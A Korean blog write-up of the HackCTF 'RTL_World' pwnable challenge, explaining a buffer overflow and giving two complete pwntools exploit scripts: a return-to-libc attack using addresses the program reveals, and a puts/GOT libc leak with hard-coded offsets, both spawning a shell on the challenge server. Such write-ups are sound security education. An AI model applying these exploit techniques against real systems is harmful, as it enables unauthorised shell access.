Studying Security

[HackCTF] pwnable: RTL_World 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: RTL_World 풀이

J4guar 2022. 4. 9. 08:34
728x90
반응형

Mitigation

Vulnerability Analysis

IDA disassembler를 이용해 어떤 바이너리 파일인지 확인해보자

전체적으로 살펴보면 case 5에 read함수로 0x400만큼 입력받을 수 있다는 점에서 BOF를 발생시킬 수 있어 보인다

NX enabled이고 문제 제목이 RTL_World이니 만큼 RTL을 염두에 두고 RTL을 위한 재료들을 구해보자

case 3와 case 4를 보면 v6와 s1의 주소 값을 얻을 수 있음

v6 = system함수

s1 = "/bin/sh" 문자열

RTL 공격을 시행할 수 있는 재료들이 다 주어짐

위의 값들을 얻기 위해서는 gold가 필요하므로 case 2의 Get_Money함수의 4를 입력해 random한 gold 획득

1. main함수에서 획득할 수 있는 system과 "/bin/sh" 주소를 얻는 방식

Exploit 순서

  1. case 2 Get_Money함수의 4번 옵션을 통해 random한 gold 획득
  2. case 3 system함수 주소 획득
  3. case 4 "/bin/sh" 문자열 주소 획득
  4. case 5 read를 통해 BOF → RTL payload

2. libc 함수 leak → offset을 이용해 system과 "/bin/sh" 주소를 얻는 방식

Exploit 순서

  1. case 5 overflow이용 puts의 plt를 이용해 setvbuf의 got를 출력 (Leak)
  2. 해당 libc파일을 찾고 offset을 이용해 system과 "/bin/sh" 주소 획득
  3. main으로 다시 돌아가 case 5 read를 통해 BOF → RTL payload

Exploit code

1. main함수에서 획득할 수 있는 system과 "/bin/sh" 주소를 얻는 방식

from pwn import *

def slog(name,addr): return success(": ".join([name,hex(addr)]))

p = remote("ctf.j0n9hyun.xyz",3010)

# Get Money
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil(">>> ")
p.sendline("4")

# Get System address
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil(": ")
system = int(str(p.recvuntil("\n")[:-1]).ljust(8,"\x00"),16)
slog("system", system)

# Get "/bin/sh" address
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil(": ")
binsh = int(str(p.recvuntil("\n")[:-1]).ljust(8,"\x00"),16)
slog("/bin/sh", binsh)

# RTL
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
payload = "A"*0x90 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)

p.interactive()

2. libc 함수 leak → offset을 이용해 system과 "/bin/sh" 주소를 얻는 방식

from pwn import *

def slog(name,addr): return success(": ".join([name,hex(addr)]))

context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz",3010)
e = ELF("./rtl_world")

setvbuf_got = e.got["setvbuf"]
puts_plt = e.plt["puts"]
main = e.symbols["main"]

pr = 0x08048545

payload = "A"*0x90
payload += p32(puts_plt) + p32(pr) + p32(setvbuf_got)
payload += p32(main)

p.recvuntil(">>> ")
p.sendline("5")
p.sendafter(" > ",payload)

setvbuf = u32(p.recv(4))
slog("setvbuf", setvbuf)
libc_base = setvbuf - 0x060360
slog("libc_base", libc_base)
system = libc_base + 0x03ada0
binsh = libc_base + 0x15ba0b
slog("system", system)
slog("binsh", binsh)

payload = "A"*0x90
payload += p32(system) + p32(pr) + p32(binsh)

p.recvuntil(">>> ")
p.sendline("5")
p.sendafter(" > ",payload)

p.interactive()

Result

반응형

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] pwnable: Poet 풀이  (0) 2022.04.10
[HackCTF] pwnable: g++ pwn 풀이  (0) 2022.04.09
[HackCTF] pwnable: Yes or no 풀이  (0) 2022.04.09
[HackCTF] pwnable: BOF_PIE 풀이  (0) 2022.04.08
[HackCTF] pwnable: Offset 풀이  (0) 2022.04.08
Comments